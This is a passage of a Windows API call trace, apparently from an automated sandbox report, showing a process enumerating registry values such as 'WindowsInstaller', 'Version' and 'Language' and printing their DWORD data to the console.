RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.658] GetProcessHeap () returned 0x2e0000 [0148.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.658] GetProcessHeap () returned 0x2e0000 [0148.658] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.658] GetProcessHeap () returned 0x2e0000 [0148.658] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.658] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.658] __iob_func () returned 0x7fefd702a80 [0148.658] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.658] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.658] _fileno (_File=0x7fefd702ab0) returned 1 [0148.658] _errno () returned 0xc4bb0 [0148.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.658] _errno () returned 0xc4bb0 [0148.658] GetFileType (hFile=0x50) returned 0x1 [0148.658] lstrlenW (lpString=" ") returned 4 [0148.658] GetConsoleOutputCP () returned 0x1b5 [0148.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.658] GetConsoleOutputCP () returned 0x1b5 [0148.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.658] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.658] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.659] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.659] __iob_func () returned 0x7fefd702a80 [0148.659] _fileno (_File=0x7fefd702ab0) returned 1 [0148.659] _errno () returned 0xc4bb0 [0148.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.659] _errno () returned 0xc4bb0 [0148.659] GetFileType (hFile=0x50) returned 0x1 [0148.659] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.659] GetConsoleOutputCP () returned 0x1b5 [0148.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.659] GetConsoleOutputCP () returned 0x1b5 [0148.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0148.659] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0148.659] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.659] __iob_func () returned 0x7fefd702a80 [0148.659] _fileno (_File=0x7fefd702ab0) returned 1 [0148.659] _errno () returned 0xc4bb0 [0148.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.659] _errno () returned 0xc4bb0 [0148.659] GetFileType (hFile=0x50) returned 0x1 [0148.659] lstrlenW (lpString=" ") returned 4 [0148.659] GetConsoleOutputCP () returned 0x1b5 [0148.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.659] GetConsoleOutputCP () returned 0x1b5 [0148.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.660] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.660] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.660] __iob_func () returned 0x7fefd702a80 [0148.660] _fileno (_File=0x7fefd702ab0) returned 1 [0148.660] _errno () returned 0xc4bb0 [0148.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.660] _errno () returned 0xc4bb0 [0148.660] GetFileType (hFile=0x50) returned 0x1 [0148.660] lstrlenW (lpString="REG_DWORD") returned 9 [0148.660] GetConsoleOutputCP () returned 0x1b5 [0148.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.660] GetConsoleOutputCP () returned 0x1b5 [0148.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.660] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.660] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.660] __iob_func () returned 0x7fefd702a80 [0148.660] _fileno (_File=0x7fefd702ab0) returned 1 [0148.660] _errno () returned 0xc4bb0 [0148.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.660] _errno () returned 0xc4bb0 [0148.660] GetFileType (hFile=0x50) returned 0x1 [0148.660] lstrlenW (lpString=" ") returned 4 [0148.661] GetConsoleOutputCP () returned 0x1b5 [0148.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.661] GetConsoleOutputCP () returned 0x1b5 [0148.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.661] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.661] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.661] __iob_func () returned 0x7fefd702a80 [0148.661] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.661] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.661] _fileno (_File=0x7fefd702ab0) returned 1 [0148.661] _errno () returned 0xc4bb0 [0148.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.661] _errno () returned 0xc4bb0 [0148.661] GetFileType (hFile=0x50) returned 0x1 [0148.661] lstrlenW (lpString="0x1") returned 3 [0148.661] GetConsoleOutputCP () returned 0x1b5 [0148.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.661] GetConsoleOutputCP () returned 0x1b5 [0148.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.661] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.662] __iob_func () returned 0x7fefd702a80 [0148.662] _fileno (_File=0x7fefd702ab0) returned 1 [0148.662] _errno () returned 0xc4bb0 [0148.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.662] _errno () returned 0xc4bb0 [0148.662] GetFileType (hFile=0x50) returned 0x1 [0148.662] lstrlenW (lpString="\n") returned 1 [0148.662] GetConsoleOutputCP () returned 0x1b5 [0148.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.662] GetConsoleOutputCP () returned 0x1b5 [0148.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.662] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.662] GetProcessHeap () returned 0x2e0000 [0148.662] GetProcessHeap () returned 0x2e0000 [0148.662] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.662] GetProcessHeap () returned 0x2e0000 [0148.662] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.662] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.662] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.662] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.662] GetProcessHeap () returned 0x2e0000 [0148.662] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.662] GetProcessHeap () returned 0x2e0000 [0148.663] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.663] GetProcessHeap () returned 0x2e0000 [0148.663] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.663] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xe0a61b9, pcbData=0x23f670*=0x4) returned 0x0 [0148.663] __iob_func () returned 0x7fefd702a80 [0148.663] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.663] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.663] _fileno (_File=0x7fefd702ab0) returned 1 [0148.663] _errno () returned 0xc4bb0 [0148.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.663] _errno () returned 0xc4bb0 [0148.663] GetFileType (hFile=0x50) returned 0x1 [0148.663] lstrlenW (lpString=" ") returned 4 [0148.663] GetConsoleOutputCP () returned 0x1b5 [0148.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.663] GetConsoleOutputCP () returned 0x1b5 [0148.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.663] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.663] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.663] lstrlenW (lpString="Version") returned 7 [0148.663] __iob_func () returned 0x7fefd702a80 [0148.663] _fileno (_File=0x7fefd702ab0) returned 1 [0148.663] _errno () returned 0xc4bb0 [0148.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.663] _errno () returned 0xc4bb0 [0148.663] GetFileType (hFile=0x50) returned 0x1 [0148.663] lstrlenW (lpString="Version") returned 7 [0148.663] GetConsoleOutputCP () returned 0x1b5 [0148.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.664] GetConsoleOutputCP () returned 0x1b5 [0148.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0148.664] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.664] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.664] __iob_func () returned 0x7fefd702a80 [0148.664] _fileno (_File=0x7fefd702ab0) returned 1 [0148.664] _errno () returned 0xc4bb0 [0148.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.664] _errno () returned 0xc4bb0 [0148.664] GetFileType (hFile=0x50) returned 0x1 [0148.664] lstrlenW (lpString=" ") returned 4 [0148.664] GetConsoleOutputCP () returned 0x1b5 [0148.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.664] GetConsoleOutputCP () returned 0x1b5 [0148.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.664] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.664] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.664] __iob_func () returned 0x7fefd702a80 [0148.664] _fileno (_File=0x7fefd702ab0) returned 1 [0148.664] _errno () returned 0xc4bb0 [0148.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.665] _errno () returned 0xc4bb0 [0148.665] GetFileType (hFile=0x50) returned 0x1 [0148.665] lstrlenW (lpString="REG_DWORD") returned 9 [0148.665] GetConsoleOutputCP () returned 0x1b5 [0148.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.665] GetConsoleOutputCP () returned 0x1b5 [0148.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.665] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.665] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.665] __iob_func () returned 0x7fefd702a80 [0148.665] _fileno (_File=0x7fefd702ab0) returned 1 [0148.665] _errno () returned 0xc4bb0 [0148.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.665] _errno () returned 0xc4bb0 [0148.665] GetFileType (hFile=0x50) returned 0x1 [0148.665] lstrlenW (lpString=" ") returned 4 [0148.665] GetConsoleOutputCP () returned 0x1b5 [0148.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.665] GetConsoleOutputCP () returned 0x1b5 [0148.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.666] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.666] __iob_func () returned 0x7fefd702a80 [0148.666] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.666] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xe0a61b9") returned 9 [0148.666] _fileno (_File=0x7fefd702ab0) returned 1 [0148.666] _errno () returned 0xc4bb0 [0148.666] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.666] _errno () returned 0xc4bb0 [0148.666] GetFileType (hFile=0x50) returned 0x1 [0148.666] lstrlenW (lpString="0xe0a61b9") returned 9 [0148.666] GetConsoleOutputCP () returned 0x1b5 [0148.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.666] GetConsoleOutputCP () returned 0x1b5 [0148.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe0a61b9", lpUsedDefaultChar=0x0) returned 9 [0148.666] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.666] __iob_func () returned 0x7fefd702a80 [0148.666] _fileno (_File=0x7fefd702ab0) returned 1 [0148.666] _errno () returned 0xc4bb0 [0148.666] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.666] _errno () returned 0xc4bb0 [0148.666] GetFileType (hFile=0x50) returned 0x1 [0148.666] lstrlenW (lpString="\n") returned 1 [0148.666] GetConsoleOutputCP () returned 0x1b5 [0148.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.667] GetConsoleOutputCP () returned 0x1b5 [0148.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.667] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.667] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.667] GetProcessHeap () returned 0x2e0000 [0148.667] GetProcessHeap () returned 0x2e0000 [0148.667] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.667] GetProcessHeap () returned 0x2e0000 [0148.667] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.667] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.667] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.667] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.667] GetProcessHeap () returned 0x2e0000 [0148.667] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.667] GetProcessHeap () returned 0x2e0000 [0148.667] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.667] GetProcessHeap () returned 0x2e0000 [0148.667] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.667] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0148.667] __iob_func () returned 0x7fefd702a80 [0148.667] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.667] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.667] _fileno (_File=0x7fefd702ab0) returned 1 [0148.667] _errno () returned 0xc4bb0 [0148.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.667] _errno () returned 0xc4bb0 [0148.667] GetFileType (hFile=0x50) returned 0x1 [0148.668] lstrlenW (lpString=" ") returned 4 [0148.668] GetConsoleOutputCP () returned 0x1b5 [0148.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.668] GetConsoleOutputCP () returned 0x1b5 [0148.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.668] lstrlenW (lpString="Language") returned 8 [0148.668] __iob_func () returned 0x7fefd702a80 [0148.668] _fileno (_File=0x7fefd702ab0) returned 1 [0148.668] _errno () returned 0xc4bb0 [0148.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.668] _errno () returned 0xc4bb0 [0148.668] GetFileType (hFile=0x50) returned 0x1 [0148.668] lstrlenW (lpString="Language") returned 8 [0148.668] GetConsoleOutputCP () returned 0x1b5 [0148.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.668] GetConsoleOutputCP () returned 0x1b5 [0148.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0148.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.669] __iob_func () returned 0x7fefd702a80 [0148.669] _fileno (_File=0x7fefd702ab0) returned 1 [0148.669] _errno () returned 0xc4bb0 [0148.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.669] _errno () returned 0xc4bb0 [0148.669] GetFileType (hFile=0x50) returned 0x1 [0148.669] lstrlenW (lpString=" ") returned 4 [0148.669] GetConsoleOutputCP () returned 0x1b5 [0148.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.669] GetConsoleOutputCP () returned 0x1b5 [0148.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.669] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.669] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.669] __iob_func () returned 0x7fefd702a80 [0148.669] _fileno (_File=0x7fefd702ab0) returned 1 [0148.669] _errno () returned 0xc4bb0 [0148.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.669] _errno () returned 0xc4bb0 [0148.669] GetFileType (hFile=0x50) returned 0x1 [0148.669] lstrlenW (lpString="REG_DWORD") returned 9 [0148.669] GetConsoleOutputCP () returned 0x1b5 [0148.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.670] GetConsoleOutputCP () returned 0x1b5 [0148.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.670] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.670] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.670] __iob_func () returned 0x7fefd702a80 [0148.670] _fileno 